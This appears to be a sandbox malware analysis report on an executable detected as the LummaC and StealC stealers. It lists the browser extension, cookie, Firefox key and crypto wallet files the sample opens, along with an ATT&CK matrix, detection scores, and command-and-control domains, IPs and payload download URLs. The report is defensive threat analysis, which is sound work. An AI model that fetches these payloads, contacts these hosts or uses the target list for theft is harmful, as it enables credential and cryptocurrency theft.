Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Directory queried: C:\Users\user\Documents\TQDGENUHWP	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Directory queried: C:\Users\user\Documents\TQDGENUHWP	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Directory queried: C:\Users\user\Documents\PSAMNLJHZW	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Directory queried: C:\Users\user\Documents\PSAMNLJHZW	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Directory queried: C:\Users\user\Documents	Jump to behavior

Source: C:\Users\user\Desktop\FBVmDbz2nb.exe

Directory queried: number of queries: 1001

Source: Yara match

File source: Process Memory Space: FBVmDbz2nb.exe PID: 1380, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: FBVmDbz2nb.exe PID: 1380, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000004.00000003.1701899059.0000000004D40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1756467300.0000000000531000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1758332356.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RBZFTNPOH3OCI4WNHGK52I3.exe PID: 1524, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	2 Process Injection	1 Masquerading	1 OS Credential Dumping	761 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	41 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	31 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	2 Bypass User Account Control	371 Virtualization/Sandbox Evasion	Security Account Manager	371 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Process Injection	NTDS	2 File and Directory Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	223 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Bypass User Account Control	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
FBVmDbz2nb.exe	54%	Virustotal		Browse
FBVmDbz2nb.exe	58%	ReversingLabs	Win32.Ransomware.StealC
FBVmDbz2nb.exe	100%	Avira	TR/Crypt.XPACK.Gen
FBVmDbz2nb.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Antivirus Detection	Reputation
cuddlyready.xyz	104.21.32.96	true	false		high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false		high

Contacted URLs

Name	Malicious	Reputation
sendypaster.xyz	false	high
http://185.215.113.206/	false	high
steppriflej.xyz	false	high
smash-boiling.cyou	false	high
supporse-comment.cyou	false	high
hosue-billowy.cyou	false	high
cuddlyready.xyz	true	unknown
http://185.215.113.206/c4becf79229cb002.php	false	high
ripe-blade.cyou	false	high
greywe-snotty.cyou	false	high
https://cuddlyready.xyz/api	true	unknown
pollution-raker.cyou	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://duckduckgo.com/chrome_newtab	FBVmDbz2nb.exe, 00000000.00000003.1417279577.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417377057.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417216166.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	FBVmDbz2nb.exe, 00000000.00000003.1417279577.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417377057.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417216166.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/off/def.exe_	FBVmDbz2nb.exe, 00000000.00000003.1644302712.0000000001612000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16:80/steam/random.exeDateProxy-Connectionkeep-aliveConnectionCache-Control	FBVmDbz2nb.exe, 00000000.00000003.1644354224.0000000001600000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://cuddlyready.xyz/pi	FBVmDbz2nb.exe, 00000000.00000003.1393642084.00000000015B8000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1415914128.00000000015C0000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1415741852.00000000015B6000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1531394418.000000000161F000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://cuddlyready.xyz/	FBVmDbz2nb.exe, 00000000.00000003.1488696179.0000000001626000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1465515722.0000000001626000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1442870633.0000000001626000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1531394418.000000000161F000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1466899359.0000000001626000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://cuddlyready.xyz/qR	FBVmDbz2nb.exe, 00000000.00000003.1415813302.0000000001583000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/steam/random.exeq	FBVmDbz2nb.exe, 00000000.00000003.1644387683.00000000015B5000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	FBVmDbz2nb.exe, 00000000.00000003.1417279577.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417377057.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417216166.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/off/def.exeN	FBVmDbz2nb.exe, 00000000.00000003.1644302712.0000000001612000.00000004.00000020.00020000.00000000.sdmp	false	high
https://cuddlyready.xyz/l	FBVmDbz2nb.exe, 00000000.00000003.1393642084.00000000015B8000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1415914128.00000000015C0000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1415741852.00000000015B6000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_e149f5d53c9263616797a13067f7a114fa287709b159d0a5	FBVmDbz2nb.exe, 00000000.00000003.1466899359.0000000001626000.00000004.00000020.00020000.00000000.sdmp	false	high
https://cuddlyready.xyz/d	FBVmDbz2nb.exe, 00000000.00000003.1393642084.00000000015B8000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/c4becf79229cb002.phpfg	RBZFTNPOH3OCI4WNHGK52I3.exe, 00000004.00000002.1758332356.00000000011B5000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://x1.c.lencr.org/0	FBVmDbz2nb.exe, 00000000.00000003.1465367587.0000000005EEA000.00000004.00000800.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/0	FBVmDbz2nb.exe, 00000000.00000003.1465367587.0000000005EEA000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cuddlyready.xyz/o	FBVmDbz2nb.exe, 00000000.00000003.1514041585.00000000015C0000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1513481028.00000000015B5000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	FBVmDbz2nb.exe, 00000000.00000003.1417279577.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417377057.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417216166.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696495411400900000.1&ci=1696495411208.12791&cta	FBVmDbz2nb.exe, 00000000.00000003.1466899359.0000000001626000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.16/steam/random.exeX	FBVmDbz2nb.exe, 00000000.00000003.1644302712.0000000001612000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://support.mozilla.org/products/firefoxgro.all	FBVmDbz2nb.exe, 00000000.00000003.1466556999.000000000615A000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16:80/steam/random.exe	FBVmDbz2nb.exe	false	high
https://cuddlyready.xyz:443/apii	FBVmDbz2nb.exe, 00000000.00000003.1393642084.00000000015B8000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	FBVmDbz2nb.exe, 00000000.00000003.1417279577.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417377057.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417216166.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cuddlyready.xyz/api2	FBVmDbz2nb.exe, 00000000.00000003.1415914128.00000000015C0000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1415741852.00000000015B6000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/steam/random.exe	FBVmDbz2nb.exe, FBVmDbz2nb.exe, 00000000.00000003.1644302712.0000000001612000.00000004.00000020.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	FBVmDbz2nb.exe, 00000000.00000003.1417279577.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417377057.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417216166.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.rootca1.amazontrust.com/rootca1.crl0	FBVmDbz2nb.exe, 00000000.00000003.1465367587.0000000005EEA000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.php/	RBZFTNPOH3OCI4WNHGK52I3.exe, 00000004.00000002.1758332356.00000000011D4000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.phpZg	RBZFTNPOH3OCI4WNHGK52I3.exe, 00000004.00000002.1758332356.00000000011B5000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://ocsp.rootca1.amazontrust.com0:	FBVmDbz2nb.exe, 00000000.00000003.1465367587.0000000005EEA000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	FBVmDbz2nb.exe, 00000000.00000003.1417279577.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417377057.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417216166.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	FBVmDbz2nb.exe, 00000000.00000003.1466556999.000000000615A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696495411400900000.2&ci=1696495411208.	FBVmDbz2nb.exe, 00000000.00000003.1466899359.0000000001626000.00000004.00000020.00020000.00000000.sdmp	false	high
https://cuddlyready.xyz/apioh	FBVmDbz2nb.exe, 00000000.00000003.1464773877.0000000001626000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1488696179.0000000001626000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://ac.ecosia.org/autocomplete?q=	FBVmDbz2nb.exe, 00000000.00000003.1417279577.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417377057.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417216166.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/	FBVmDbz2nb.exe, 00000000.00000003.1644302712.0000000001612000.00000004.00000020.00020000.00000000.sdmp	false	high
https://cuddlyready.xyz/apiZ	FBVmDbz2nb.exe, 00000000.00000003.1644387683.00000000015B5000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://cuddlyready.xyz:443/api	FBVmDbz2nb.exe, 00000000.00000003.1555389177.000000000159A000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1644460394.000000000159A000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://crl.micro	FBVmDbz2nb.exe, 00000000.00000003.1555320498.0000000001600000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1415914128.00000000015EB000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1514041585.00000000015EB000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1513481028.00000000015EB000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1492388797.00000000015EB000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1492171889.00000000015EB000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1393642084.00000000015EB000.00000004.00000020.00020000.00000000.sdmp	false	high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	FBVmDbz2nb.exe, 00000000.00000003.1466899359.0000000001626000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.16/steam/random.exeQV	FBVmDbz2nb.exe, 00000000.00000003.1644354224.0000000001600000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	FBVmDbz2nb.exe, 00000000.00000003.1465367587.0000000005EEA000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	FBVmDbz2nb.exe, 00000000.00000003.1466899359.0000000001626000.00000004.00000020.00020000.00000000.sdmp	false	high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	FBVmDbz2nb.exe, 00000000.00000003.1466899359.0000000001626000.00000004.00000020.00020000.00000000.sdmp	false	high
https://cuddlyready.xyz/apig	FBVmDbz2nb.exe, 00000000.00000003.1393642084.00000000015B8000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1415914128.00000000015C0000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1415741852.00000000015B6000.00000004.00000020.00020000.00000000.sdmp	false	unknown
